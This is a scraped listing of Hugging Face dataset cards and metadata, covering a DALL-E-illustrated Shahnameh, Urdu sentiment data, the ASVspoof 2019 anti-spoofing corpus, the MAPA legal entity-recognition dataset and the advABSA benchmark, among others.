- [Personal and Sensitive Information](#personal-and-sensitive-information)
- [Considerations for Using the Data](#considerations-for-using-the-data)
- [Social Impact of Dataset](#social-impact-of-dataset)
- [Discussion of Biases](#discussion-of-biases)
- [Other Known Limitations](#other-known-limitations)
- [Additional Information](#additional-information)
- [Dataset Curators](#dataset-curators)
- [Licensing Information](#licensing-information)
- [Citation Information](#citation-information)
- [Contributions](#contributions)
## Dataset Description
- **Paper:**
- **Point of Contact:** [Sadra Sabouri](mailto:sabouri.sadra@gmail.com)
### Dataset Summary
This dataset contains more than 30K images with their corresponding text from the Shahnameh. For each Shahnameh paragraph, we generated at most 9 images. Images corresponding to the same paragraphs have the same `id` field. There was a human annotation post-process in which we removed some harmful/private generated images from the dataset. After all we reached to more than 30K, 256 * 256 images.
### Supported Tasks and Leaderboards
The main purpose of making this dataset open source is because of its artistic value, but it can also be used for the below tasks:
+ text-to-image
+ image-to-text (image captioning)
### Languages
The Shahnameh was generally written in Farsi (Persian) but the translated version we used for this dataset - [satoor](https://www.sattor.com/english/Shahnameh.pdf) - was completely in English with no alignments for the corresponding Farsi poem. We are planning to add another field to dataset entries which is the corresponding Farsi poem as soon as possible.
## Dataset Structure
### Data Fields
Here is an instance of our dataset:
```json
{
"image": <PIL Image Bytes>,
"id": 0,
"text": "He took up his abode in the mountains, and clad himself and his people in tiger-skins, and from him sprang all kindly nurture and the arts of clothing, till then unknown."
}
```
+ `image`: the image for given text.
+ `id`: the id for the text (**Not for the image**).
+ `text`: the English text for the image.
### Data Splits
This dataset has only a split (`train` split).
## Dataset Creation
The translated version of the Shahnameh was generally derived from the [satoor](https://www.sattor.com/english/Shahnameh.pdf) website. We first extracted texts from the pdf. After that, we divided paragraphs into sentences and give each sentence to the DALL-E mini model through its online API. It generated nine images for each sentence. After a few annotations, we came up with more than 30000 images.
### Annotations
#### Annotation process
Through the process of image generation, we noticed a bias in the DALL-E models towards the word `iran`. It was biased so that each sentence with this given word would have pictures from Iran's political figures which were usually totally irrelevant. The annotation process mainly focused to deal with these pictures. We removed those images which seems to be harmful to those figures and/or were irrelevant to the context.
#### Who are the annotators?
Mahsa Namdar and Sadra Sabouri were the annotators of this dataset.
### Personal and Sensitive Information
Since the textual data is easily downloadable and the images were generated through an image generation model there shouldn't be any personal information in this dataset. Just in case you find something harmful or violating of one's personal information please let us know. We will take proper action as soon as possible.
## Considerations for Using the Data
### Social Impact of Dataset
This dataset is mainly aimed to release for its artistic value. The process of generating images for the Shahnameh - which is one of the most important Farsi poem books - is our precious contribution. This dataset is not only used for this purpose but also can as a dataset in image-to-text and text-to-image tasks.
### Discussion of Biases
The dataset's possible biases would come from the DALL-E mini biases. It's actually a good practice to check the dataset entries in order to find biases in that model. One it's worth mentioning in this work is the DALL-E mini model's bias for the word `iran` which nearly always comes up with images from political figures of this country.
### Other Known Limitations
There are constant debates in the literature about the limitations of machine-generated datasets. Some believe that since nowadays models are not perfect - and so do their output, it wouldn't be a good idea to use these artificially generated datasets as input to the new model. They suggest that by doing so we are actually limiting our accuracy by the model's accuracy which provided the primary dataset.
## Additional Information
### Dataset Curators
+ Emad Fatemizadeh: The general idea for generating a graphical version of Farsi poems was firstly introduced by him.
+ Sadra Sabouri: He looked up a translated version of the Shahnameh, extract and tokenized poems from it, and used the online DALL-E mini API to generate images from poems.
+ Mahsa Namdar: The process of annotation as a post-process on data has been held by her.
### Licensing Information
MIT
### Citation Information
[More Information Needed]
### Contributions
Thanks to [@sadrasabouri](https://github.com/sadrasabouri) for adding this dataset.
|
hassan4830 | null | null | null | false | 1 | false | hassan4830/urdu-binary-classification-data | 2022-07-21T09:40:56.000Z | null | false | a5057855c7aa264709b35de7bd85258d943bec22 | [] | [
"license:afl-3.0"
] | https://huggingface.co/datasets/hassan4830/urdu-binary-classification-data/resolve/main/README.md | ---
license: afl-3.0
---
This Urdu sentiment dataset was formed by concatenating the following two datasets:
https://github.com/MuhammadYaseenKhan/Urdu-Sentiment-Corpus
https://www.kaggle.com/datasets/akkefa/imdb-dataset-of-50k-movie-translated-urdu-reviews |
SakaiJun | null | null | null | false | 1 | false | SakaiJun/github-issues | 2022-07-20T07:37:59.000Z | null | false | 59519e655088aa83999037b3ba8fa88d77eb3b83 | [] | [] | https://huggingface.co/datasets/SakaiJun/github-issues/resolve/main/README.md | annotations_creators: []
language:
- en
language_creators: []
license: []
multilinguality: []
pretty_name: HuggingFace GitHub Issues
size_categories: []
source_datasets: []
tags: []
task_categories:
- text-classification
- text-retrieval
task_ids:
- multi-class-classification
- multi-label-classification
- document-retrieval |
arize-ai | null | # @InProceedings{huggingface:dataset,
# title = {A great new dataset},
# author={huggingface, Inc.
# },
# year={2020}
# }
# | This dataset was crafted to be used in our tutorial [Link to the tutorial when
ready]. It consists on product reviews from an e-commerce store. The reviews
are labeled on a scale from 1 to 5 (stars). The training & validation sets are
fully composed by reviews written in english. However, the production set has
some reviews written in spanish. At Arize, we work to surface this issue and
help you solve it. | false | 8 | false | arize-ai/fashion_mnist_quality_drift | 2022-10-25T10:40:17.000Z | null | false | fd526b15b744502f4e24b21126f543d845a8c59e | [] | [
"annotations_creators:expert-generated",
"language_creators:expert-generated",
"language:en",
"license:mit",
"multilinguality:monolingual",
"size_categories:10K<n<100K",
"source_datasets:extended|imdb",
"task_categories:image-classification",
"task_ids:multi-class-classification"
] | https://huggingface.co/datasets/arize-ai/fashion_mnist_quality_drift/resolve/main/README.md | ---
annotations_creators:
- expert-generated
language_creators:
- expert-generated
language:
- en
license:
- mit
multilinguality:
- monolingual
size_categories:
- 10K<n<100K
source_datasets:
- extended|imdb
task_categories:
- image-classification
task_ids:
- multi-class-classification
pretty_name: sentiment-classification-reviews-with-drift
---
# Dataset Card for `reviews_with_drift`
## Table of Contents
- [Table of Contents](#table-of-contents)
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks and Leaderboards](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-fields)
- [Data Splits](#data-splits)
- [Dataset Creation](#dataset-creation)
- [Curation Rationale](#curation-rationale)
- [Source Data](#source-data)
- [Annotations](#annotations)
- [Personal and Sensitive Information](#personal-and-sensitive-information)
- [Considerations for Using the Data](#considerations-for-using-the-data)
- [Social Impact of Dataset](#social-impact-of-dataset)
- [Discussion of Biases](#discussion-of-biases)
- [Other Known Limitations](#other-known-limitations)
- [Additional Information](#additional-information)
- [Dataset Curators](#dataset-curators)
- [Licensing Information](#licensing-information)
- [Citation Information](#citation-information)
- [Contributions](#contributions)
## Dataset Description
### Dataset Summary
This dataset was crafted to be used in our tutorial [Link to the tutorial when ready]. It consists on a large Movie Review Dataset mixed with some reviews from a Hotel Review Dataset. The training/validation set are purely obtained from the Movie Review Dataset while the production set is mixed. Some other features have been added (`age`, `gender`, `context`) as well as a made up timestamp `prediction_ts` of when the inference took place.
### Supported Tasks and Leaderboards
`text-classification`, `sentiment-classification`: The dataset is mainly used for text classification: given the text, predict the sentiment (positive or negative).
### Languages
Text is mainly written in english.
## Dataset Structure
### Data Instances
[More Information Needed]
### Data Fields
[More Information Needed]
### Data Splits
[More Information Needed]
## Dataset Creation
### Curation Rationale
[More Information Needed]
### Source Data
[More Information Needed]
#### Initial Data Collection and Normalization
[More Information Needed]
#### Who are the source language producers?
[More Information Needed]
### Annotations
[More Information Needed]
#### Annotation process
[More Information Needed]
#### Who are the annotators?
[More Information Needed]
### Personal and Sensitive Information
[More Information Needed]
## Considerations for Using the Data
### Social Impact of Dataset
[More Information Needed]
### Discussion of Biases
[More Information Needed]
### Other Known Limitations
[More Information Needed]
## Additional Information
### Dataset Curators
[More Information Needed]
### Licensing Information
[More Information Needed]
### Citation Information
[More Information Needed]
### Contributions
Thanks to [@fjcasti1](https://github.com/fjcasti1) for adding this dataset. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-xsum-6cd6bf3a-11245505 | 2022-07-20T07:53:57.000Z | null | false | 8116d3b3bedf70dcc6f755e461f5ab499ef13e18 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:xsum"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-xsum-6cd6bf3a-11245505/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- xsum
eval_info:
task: summarization
model: ARTeLab/it5-summarization-ilpost
metrics: []
dataset_name: xsum
dataset_config: default
dataset_split: test
col_mapping:
text: document
target: summary
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Summarization
* Model: ARTeLab/it5-summarization-ilpost
* Dataset: xsum
* Config: default
* Split: test
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@dishant16](https://huggingface.co/dishant16) for evaluating this model. |
voidful | null | null | null | false | 1 | false | voidful/DRCD | 2022-07-20T08:33:48.000Z | null | false | 591e29480dfe46d7247cbe2e9d582ec97b8fb11e | [] | [
"license:cc-by-3.0"
] | https://huggingface.co/datasets/voidful/DRCD/resolve/main/README.md | ---
license: cc-by-3.0
---
|
LanceaKing | null | @InProceedings{Todisco2019,
Title = {{ASV}spoof 2019: {F}uture {H}orizons in {S}poofed and {F}ake {A}udio {D}etection},
Author = {Todisco, Massimiliano and
Wang, Xin and
Sahidullah, Md and
Delgado, H ́ector and
Nautsch, Andreas and
Yamagishi, Junichi and
Evans, Nicholas and
Kinnunen, Tomi and
Lee, Kong Aik},
booktitle = {Proc. of Interspeech 2019},
Year = {2019}
} | This is a database used for the Third Automatic Speaker Verification Spoofing
and Countermeasuers Challenge, for short, ASVspoof 2019 (http://www.asvspoof.org)
organized by Junichi Yamagishi, Massimiliano Todisco, Md Sahidullah, Héctor
Delgado, Xin Wang, Nicholas Evans, Tomi Kinnunen, Kong Aik Lee, Ville Vestman,
and Andreas Nautsch in 2019. | false | 353 | false | LanceaKing/asvspoof2019 | 2022-11-11T08:41:54.000Z | null | false | 9e3c700a884eb823b3b6c9bd993f3197cdfdacb6 | [] | [
"arxiv:1911.01601",
"annotations_creators:other",
"language_creators:other",
"language:en",
"license:odc-by",
"multilinguality:monolingual",
"size_categories:100K<n<1M",
"source_datasets:extended|vctk",
"task_categories:audio-classification",
"tags:voice-anti-spoofing"
] | https://huggingface.co/datasets/LanceaKing/asvspoof2019/resolve/main/README.md | ---
annotations_creators:
- other
language_creators:
- other
language:
- en
license:
- odc-by
multilinguality:
- monolingual
size_categories:
- 100K<n<1M
source_datasets:
- extended|vctk
task_categories:
- audio-classification
task_ids: []
pretty_name: asvspoof2019
tags:
- voice-anti-spoofing
---
# Dataset Card for asvspoof2019
## Table of Contents
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-instances)
- [Data Splits](#data-instances)
- [Dataset Creation](#dataset-creation)
- [Curation Rationale](#curation-rationale)
- [Source Data](#source-data)
- [Annotations](#annotations)
- [Personal and Sensitive Information](#personal-and-sensitive-information)
- [Considerations for Using the Data](#considerations-for-using-the-data)
- [Social Impact of Dataset](#social-impact-of-dataset)
- [Discussion of Biases](#discussion-of-biases)
- [Other Known Limitations](#other-known-limitations)
- [Additional Information](#additional-information)
- [Dataset Curators](#dataset-curators)
- [Licensing Information](#licensing-information)
- [Citation Information](#citation-information)
## Dataset Description
- **Homepage:** https://datashare.ed.ac.uk/handle/10283/3336
- **Repository:** [Needs More Information]
- **Paper:** https://arxiv.org/abs/1911.01601
- **Leaderboard:** [Needs More Information]
- **Point of Contact:** [Needs More Information]
### Dataset Summary
This is a database used for the Third Automatic Speaker Verification Spoofing
and Countermeasuers Challenge, for short, ASVspoof 2019 (http://www.asvspoof.org)
organized by Junichi Yamagishi, Massimiliano Todisco, Md Sahidullah, Héctor
Delgado, Xin Wang, Nicholas Evans, Tomi Kinnunen, Kong Aik Lee, Ville Vestman,
and Andreas Nautsch in 2019.
### Supported Tasks and Leaderboards
[Needs More Information]
### Languages
English
## Dataset Structure
### Data Instances
```
{'speaker_id': 'LA_0091',
'audio_file_name': 'LA_T_8529430',
'audio': {'path': 'D:/Users/80304531/.cache/huggingface/datasets/downloads/extracted/8cabb6d5c283b0ed94b2219a8d459fea8e972ce098ef14d8e5a97b181f850502/LA/ASVspoof2019_LA_train/flac/LA_T_8529430.flac',
'array': array([-0.00201416, -0.00234985, -0.0022583 , ..., 0.01309204,
0.01339722, 0.01461792], dtype=float32),
'sampling_rate': 16000},
'system_id': 'A01',
'key': 1}
```
### Data Fields
Logical access (LA):
- `speaker_id`: `LA_****`, a 4-digit speaker ID
- `audio_file_name`: name of the audio file
- `audio`: A dictionary containing the path to the downloaded audio file, the decoded audio array, and the sampling rate. Note that when accessing the audio column: `dataset[0]["audio"]` the audio file is automatically decoded and resampled to `dataset.features["audio"].sampling_rate`. Decoding and resampling of a large number of audio files might take a significant amount of time. Thus it is important to first query the sample index before the `"audio"` column, *i.e.* `dataset[0]["audio"]` should **always** be preferred over `dataset["audio"][0]`.
- `system_id`: ID of the speech spoofing system (A01 - A19), or, for bonafide speech SYSTEM-ID is left blank ('-')
- `key`: 'bonafide' for genuine speech, or, 'spoof' for spoofing speech
Physical access (PA):
- `speaker_id`: `PA_****`, a 4-digit speaker ID
- `audio_file_name`: name of the audio file
- `audio`: A dictionary containing the path to the downloaded audio file, the decoded audio array, and the sampling rate. Note that when accessing the audio column: `dataset[0]["audio"]` the audio file is automatically decoded and resampled to `dataset.features["audio"].sampling_rate`. Decoding and resampling of a large number of audio files might take a significant amount of time. Thus it is important to first query the sample index before the `"audio"` column, *i.e.* `dataset[0]["audio"]` should **always** be preferred over `dataset["audio"][0]`.
- `environment_id`: a triplet (S,R,D_s), which take one letter in the set {a,b,c} as categorical value, defined as
| | a | b | c |
| -------------------------------- | ------ | ------- | -------- |
| S: Room size (square meters) | 2-5 | 5-10 | 10-20 |
| R: T60 (ms) | 50-200 | 200-600 | 600-1000 |
| D_s: Talker-to-ASV distance (cm) | 10-50 | 50-100 | 100-150 |
- `attack_id`: a duple (D_a,Q), which take one letter in the set {A,B,C} as categorical value, defined as
| | A | B | C |
| ----------------------------------- | ------- | ------ | ----- |
| Z: Attacker-to-talker distance (cm) | 10-50 | 50-100 | > 100 |
| Q: Replay device quality | perfect | high | low |
for bonafide speech, `attack_id` is left blank ('-')
- `key`: 'bonafide' for genuine speech, or, 'spoof' for spoofing speech
### Data Splits
| | Training set | Development set | Evaluation set |
| -------- | ------------ | --------------- | -------------- |
| Bonafide | 2580 | 2548 | 7355 |
| Spoof | 22800 | 22296 | 63882 |
| Total | 25380 | 24844 | 71237 |
## Dataset Creation
### Curation Rationale
[Needs More Information]
### Source Data
#### Initial Data Collection and Normalization
[Needs More Information]
#### Who are the source language producers?
[Needs More Information]
### Annotations
#### Annotation process
[Needs More Information]
#### Who are the annotators?
[Needs More Information]
### Personal and Sensitive Information
[Needs More Information]
## Considerations for Using the Data
### Social Impact of Dataset
[Needs More Information]
### Discussion of Biases
[Needs More Information]
### Other Known Limitations
[Needs More Information]
## Additional Information
### Dataset Curators
[Needs More Information]
### Licensing Information
This ASVspoof 2019 dataset is made available under the Open Data Commons Attribution License: http://opendatacommons.org/licenses/by/1.0/
### Citation Information
```
@InProceedings{Todisco2019,
Title = {{ASV}spoof 2019: {F}uture {H}orizons in {S}poofed and {F}ake {A}udio {D}etection},
Author = {Todisco, Massimiliano and
Wang, Xin and
Sahidullah, Md and
Delgado, H ́ector and
Nautsch, Andreas and
Yamagishi, Junichi and
Evans, Nicholas and
Kinnunen, Tomi and
Lee, Kong Aik},
booktitle = {Proc. of Interspeech 2019},
Year = {2019}
}
```
|
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-emotion-5a29f55d-11295506 | 2022-07-20T11:04:02.000Z | null | false | 468d0b8716ec40f521f557a4617039975a3a16e4 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:emotion"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-emotion-5a29f55d-11295506/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- emotion
eval_info:
task: multi_class_classification
model: Abdelrahman-Rezk/distilbert-base-uncased-finetuned-emotion
metrics: ['bertscore']
dataset_name: emotion
dataset_config: default
dataset_split: validation
col_mapping:
text: text
target: label
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Multi-class Text Classification
* Model: Abdelrahman-Rezk/distilbert-base-uncased-finetuned-emotion
* Dataset: emotion
* Config: default
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@nickprock](https://huggingface.co/nickprock) for evaluating this model. |
legotin | null | null | null | false | 2 | false | legotin/movielens-1m-ratings-standardized | 2022-07-20T13:58:58.000Z | null | false | f9189e3914ce04ed0d10de11d38c145c6ee58385 | [] | [
"license:apache-2.0"
] | https://huggingface.co/datasets/legotin/movielens-1m-ratings-standardized/resolve/main/README.md | ---
license: apache-2.0
---
|
joelito | null | null | null | false | 2,332 | false | joelito/mapa | 2022-10-25T16:17:09.000Z | null | false | bbb2a0157b760465002fd12a61af81b475cd387a | [] | [
"annotations_creators:other",
"language_creators:found",
"language:multilingual",
"language:bg",
"language:cs",
"language:da",
"language:de",
"language:el",
"language:en",
"language:es",
"language:et",
"language:fi",
"language:fr",
"language:ga",
"language:hu",
"language:it",
"langua... | https://huggingface.co/datasets/joelito/mapa/resolve/main/README.md | ---
annotations_creators:
- other
language_creators:
- found
language:
- multilingual
- bg
- cs
- da
- de
- el
- en
- es
- et
- fi
- fr
- ga
- hu
- it
- lt
- lv
- mt
- nl
- pt
- ro
- sk
- sv
license:
- cc-by-4.0
multilinguality:
- multilingual
size_categories:
- 1K<n<10K
source_datasets:
- original
task_categories:
- token-classification
task_ids:
- named-entity-recognition
pretty_name: Spanish Datasets for Sensitive Entity Detection in the Legal Domain
tags:
- named-entity-recognition-and-classification
---
# Dataset Card for Multilingual European Datasets for Sensitive Entity Detection in the Legal Domain
## Table of Contents
- [Table of Contents](#table-of-contents)
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks and Leaderboards](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-fields)
- [Data Splits](#data-splits)
- [Dataset Creation](#dataset-creation)
- [Curation Rationale](#curation-rationale)
- [Source Data](#source-data)
- [Annotations](#annotations)
- [Personal and Sensitive Information](#personal-and-sensitive-information)
- [Considerations for Using the Data](#considerations-for-using-the-data)
- [Social Impact of Dataset](#social-impact-of-dataset)
- [Discussion of Biases](#discussion-of-biases)
- [Other Known Limitations](#other-known-limitations)
- [Additional Information](#additional-information)
- [Dataset Curators](#dataset-curators)
- [Licensing Information](#licensing-information)
- [Citation Information](#citation-information)
- [Contributions](#contributions)
## Dataset Description
- **Homepage:**
- **
Repository:** [Spanish](https://elrc-share.eu/repository/browse/mapa-anonymization-package-spanish/b550e1a88a8311ec9c1a00155d026706687917f92f64482587c6382175dffd76/), [Most](https://elrc-share.eu/repository/search/?q=mfsp:3222a6048a8811ec9c1a00155d0267067eb521077db54d6684fb14ce8491a391), [German, Portuguese, Slovak, Slovenian, Swedish](https://elrc-share.eu/repository/search/?q=mfsp:833df1248a8811ec9c1a00155d0267067685dcdb77064822b51cc16ab7b81a36)
- **Paper:** de Gibert Bonet, O., García Pablos, A., Cuadros, M., & Melero, M. (2022). Spanish Datasets for Sensitive
Entity Detection in the Legal Domain. Proceedings of the Language Resources and Evaluation Conference, June,
3751–3760. http://www.lrec-conf.org/proceedings/lrec2022/pdf/2022.lrec-1.400.pdf
- **Leaderboard:**
- **Point of Contact:** [Joel Niklaus](mailto:joel.niklaus.2@bfh.ch)
### Dataset Summary
The dataset consists of 12 documents (9 for Spanish due to parsing errors) taken from EUR-Lex, a multilingual corpus of court
decisions and legal dispositions in the 24 official languages of the European Union. The documents have been annotated
for named entities following the guidelines of the [MAPA project]( https://mapa-project.eu/) which foresees two
annotation level, a general and a more fine-grained one. The annotated corpus can be used for named entity recognition/classification.
### Supported Tasks and Leaderboards
The dataset supports the task of Named Entity Recognition and Classification (NERC).
### Languages
The following languages are supported: bg, cs, da, de, el, en, es, et, fi, fr, ga, hu, it, lt, lv, mt, nl, pt, ro, sk, sv
## Dataset Structure
### Data Instances
The file format is jsonl and three data splits are present (train, validation and test). Named Entity annotations are
non-overlapping.
### Data Fields
For the annotation the documents have been split into sentences. The annotations has been done on the token level.
The files contain the following data fields
- `language`: language of the sentence
- `type`: The document type of the sentence. Currently, only EUR-LEX is supported.
- `file_name`: The document file name the sentence belongs to.
- `sentence_number`: The number of the sentence inside its document.
- `tokens`: The list of tokens in the sentence.
- `coarse_grained`: The coarse-grained annotations for each token
- `fine_grained`: The fine-grained annotations for each token
As previously stated, the annotation has been conducted on a global and a more fine-grained level.
The tagset used for the global and the fine-grained named entities is the following:
- Address
- Building
- City
- Country
- Place
- Postcode
- Street
- Territory
- Amount
- Unit
- Value
- Date
- Year
- Standard Abbreviation
- Month
- Day of the Week
- Day
- Calender Event
- Person
- Age
- Email
- Ethnic Category
- Family Name
- Financial
- Given Name – Female
- Given Name – Male
- Health Insurance Number
- ID Document Number
- Initial Name
- Marital Status
- Medical Record Number
- Nationality
- Profession
- Role
- Social Security Number
- Title
- Url
- Organisation
- Time
- Vehicle
- Build Year
- Colour
- License Plate Number
- Model
- Type
The final coarse grained tagset (in IOB notation) is the following:
`['O', 'B-ORGANISATION', 'I-ORGANISATION', 'B-ADDRESS', 'I-ADDRESS', 'B-DATE', 'I-DATE', 'B-PERSON', 'I-PERSON', 'B-AMOUNT', 'I-AMOUNT', 'B-TIME', 'I-TIME']`
The final fine grained tagset (in IOB notation) is the following:
`[
'O',
'B-BUILDING',
'I-BUILDING',
'B-CITY',
'I-CITY',
'B-COUNTRY',
'I-COUNTRY',
'B-PLACE',
'I-PLACE',
'B-TERRITORY',
'I-TERRITORY',
'I-UNIT',
'B-UNIT',
'B-VALUE',
'I-VALUE',
'B-YEAR',
'I-YEAR',
'B-STANDARD ABBREVIATION',
'I-STANDARD ABBREVIATION',
'B-MONTH',
'I-MONTH',
'B-DAY',
'I-DAY',
'B-AGE',
'I-AGE',
'B-ETHNIC CATEGORY',
'I-ETHNIC CATEGORY',
'B-FAMILY NAME',
'I-FAMILY NAME',
'B-INITIAL NAME',
'I-INITIAL NAME',
'B-MARITAL STATUS',
'I-MARITAL STATUS',
'B-PROFESSION',
'I-PROFESSION',
'B-ROLE',
'I-ROLE',
'B-NATIONALITY',
'I-NATIONALITY',
'B-TITLE',
'I-TITLE',
'B-URL',
'I-URL',
'B-TYPE',
'I-TYPE',
]`
### Data Splits
Splits created by Joel Niklaus.
| language | # train files | # validation files | # test files | # train sentences | # validation sentences | # test sentences |
|:-----------|----------------:|---------------------:|---------------:|--------------------:|-------------------------:|-------------------:|
| bg | 9 | 1 | 2 | 1411 | 166 | 560 |
| cs | 9 | 1 | 2 | 1464 | 176 | 563 |
| da | 9 | 1 | 2 | 1455 | 164 | 550 |
| de | 9 | 1 | 2 | 1457 | 166 | 558 |
| el | 9 | 1 | 2 | 1529 | 174 | 584 |
| en | 9 | 1 | 2 | 893 | 98 | 408 |
| es | 7 | 1 | 1 | 806 | 248 | 155 |
| et | 9 | 1 | 2 | 1391 | 163 | 516 |
| fi | 9 | 1 | 2 | 1398 | 187 | 531 |
| fr | 9 | 1 | 2 | 1297 | 97 | 490 |
| ga | 9 | 1 | 2 | 1383 | 165 | 515 |
| hu | 9 | 1 | 2 | 1390 | 171 | 525 |
| it | 9 | 1 | 2 | 1411 | 162 | 550 |
| lt | 9 | 1 | 2 | 1413 | 173 | 548 |
| lv | 9 | 1 | 2 | 1383 | 167 | 553 |
| mt | 9 | 1 | 2 | 937 | 93 | 442 |
| nl | 9 | 1 | 2 | 1391 | 164 | 530 |
| pt | 9 | 1 | 2 | 1086 | 105 | 390 |
| ro | 9 | 1 | 2 | 1480 | 175 | 557 |
| sk | 9 | 1 | 2 | 1395 | 165 | 526 |
| sv | 9 | 1 | 2 | 1453 | 175 | 539 |
## Dataset Creation
### Curation Rationale
*„[…] to our knowledge, there exist no open resources annotated for NERC [Named Entity Recognition and Classificatio] in Spanish in the legal domain. With the
present contribution, we intend to fill this gap. With the release of the created resources for fine-tuning and
evaluation of sensitive entities detection in the legal domain, we expect to encourage the development of domain-adapted
anonymisation tools for Spanish in this field“* (de Gibert Bonet et al., 2022)
### Source Data
#### Initial Data Collection and Normalization
The dataset consists of documents taken from EUR-Lex corpus which is publicly available. No further
information on the data collection process are given in de Gibert Bonet et al. (2022).
#### Who are the source language producers?
The source language producers are presumably lawyers.
### Annotations
#### Annotation process
*"The annotation scheme consists of a complex two level hierarchy adapted to the legal domain, it follows the scheme
described in (Gianola et al., 2020) […] Level 1 entities refer to general categories (PERSON, DATE, TIME, ADDRESS...)
and level 2 entities refer to more fine-grained subcategories (given name, personal name, day, year, month...). Eur-Lex,
CPP and DE have been annotated following this annotation scheme […] The manual annotation was performed using
INCePTION (Klie et al., 2018) by a sole annotator following the guidelines provided by the MAPA consortium."* (de Gibert
Bonet et al., 2022)
#### Who are the annotators?
Only one annotator conducted the annotation. More information are not provdided in de Gibert Bonet et al. (2022).
### Personal and Sensitive Information
[More Information Needed]
## Considerations for Using the Data
### Social Impact of Dataset
[More Information Needed]
### Discussion of Biases
[More Information Needed]
### Other Known Limitations
Note that the dataset at hand presents only a small portion of a bigger corpus as described in de Gibert Bonet et al.
(2022). At the time of writing only the annotated documents from the EUR-Lex corpus were available.
Note that the information given in this dataset card refer to the dataset version as provided by Joel Niklaus and Veton
Matoshi. The dataset at hand is intended to be part of a bigger benchmark dataset. Creating a benchmark dataset
consisting of several other datasets from different sources requires postprocessing. Therefore, the structure of the
dataset at hand, including the folder structure, may differ considerably from the original dataset. In addition to that,
differences with regard to dataset statistics as give in the respective papers can be expected. The reader is advised to
have a look at the conversion script ```convert_to_hf_dataset.py``` in order to retrace the steps for converting the
original dataset into the present jsonl-format. For further information on the original dataset structure, we refer to
the bibliographical references and the original Github repositories and/or web pages provided in this dataset card.
## Additional Information
### Dataset Curators
The names of the original dataset curators and creators can be found in references given below, in the section *Citation
Information*. Additional changes were made by Joel Niklaus ([Email](mailto:joel.niklaus.2@bfh.ch)
; [Github](https://github.com/joelniklaus)) and Veton Matoshi ([Email](mailto:veton.matoshi@bfh.ch)
; [Github](https://github.com/kapllan)).
### Licensing Information
[Attribution 4.0 International (CC BY 4.0) ](https://creativecommons.org/licenses/by/4.0/)
### Citation Information
```
@article{DeGibertBonet2022,
author = {{de Gibert Bonet}, Ona and {Garc{\'{i}}a Pablos}, Aitor and Cuadros, Montse and Melero, Maite},
journal = {Proceedings of the Language Resources and Evaluation Conference},
number = {June},
pages = {3751--3760},
title = {{Spanish Datasets for Sensitive Entity Detection in the Legal Domain}},
url = {https://aclanthology.org/2022.lrec-1.400},
year = {2022}
}
```
### Contributions
Thanks to [@JoelNiklaus](https://github.com/joelniklaus) and [@kapllan](https://github.com/kapllan) for adding this
dataset.
|
becurrio | null | null | null | false | 1 | false | becurrio/advABSA | 2022-07-21T05:57:48.000Z | null | false | e4d8ebdbd6644c78caac2655731820a7e07fd298 | [] | [
"arxiv:2207.08099",
"license:apache-2.0"
] | https://huggingface.co/datasets/becurrio/advABSA/resolve/main/README.md | ---
license: apache-2.0
---
## advABSA
An adversarial aspect-based sentiment analysis (ABSA) benchmark, dubbed [*adv*ABSA](https://arxiv.org/pdf/2207.08099.pdf) for both aspect-based sentiment classification (SC) and opinion extraction (OE).
### *adv*ABSA (Adversarial ABSA Benchmark)
In response to the concerning robustness issue of ABSA, [Arts](https://aclanthology.org/2020.emnlp-main.292.pdf) is proposed, which contains datasets crafted only for adversarial evaluaiton on SC but not for OE. So we additionally craft datasets for adversarial evaluaiton on OE following their track. These gathered datasets form *adv*ABSA. That is, *adv*ABSA can be decomposed to two parts, where the first part is Arts-\[domain\]-SC reused from Arts and the second part is Arts-\[domain\]-OE newly produced by us.
### *std*ABSA (Standard ABSA Benchmark)
In addition, we also provide *std*ABSA containing datasets from SemEval14 for standard evaluation, namely Sem14-\[domain\]-SC and Sem14-\[domain\]-OE. So corresponding performance drops can be measured properly.
### Citation
If you find *adv*ABSA useful, please kindly star this repositary and cite our paper as follows:
```bibtex
@inproceedings{ma-etal-2022-aspect,
title = "Aspect-specific Context Modeling for Aspect-based Sentiment Analysis",
author = "Ma, Fang and Zhang, Chen and Zhang, Bo and Song, Dawei",
booktitle = "NLPCC",
month = "sep", year = "2022",
address = "Guilin, China",
url = "https://arxiv.org/pdf/2207.08099.pdf",
}
```
### Credits
The benchmark is mainly processed by [Fang Ma](https://github.com/BD-MF). |
autoevaluate | null | null | null | false | 2 | false | autoevaluate/autoeval-staging-eval-project-xsum-8015d52c-11325509 | 2022-07-20T17:31:44.000Z | null | false | 88226971c2c3968d9bcef3eea281995c0313f108 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:xsum"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-xsum-8015d52c-11325509/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- xsum
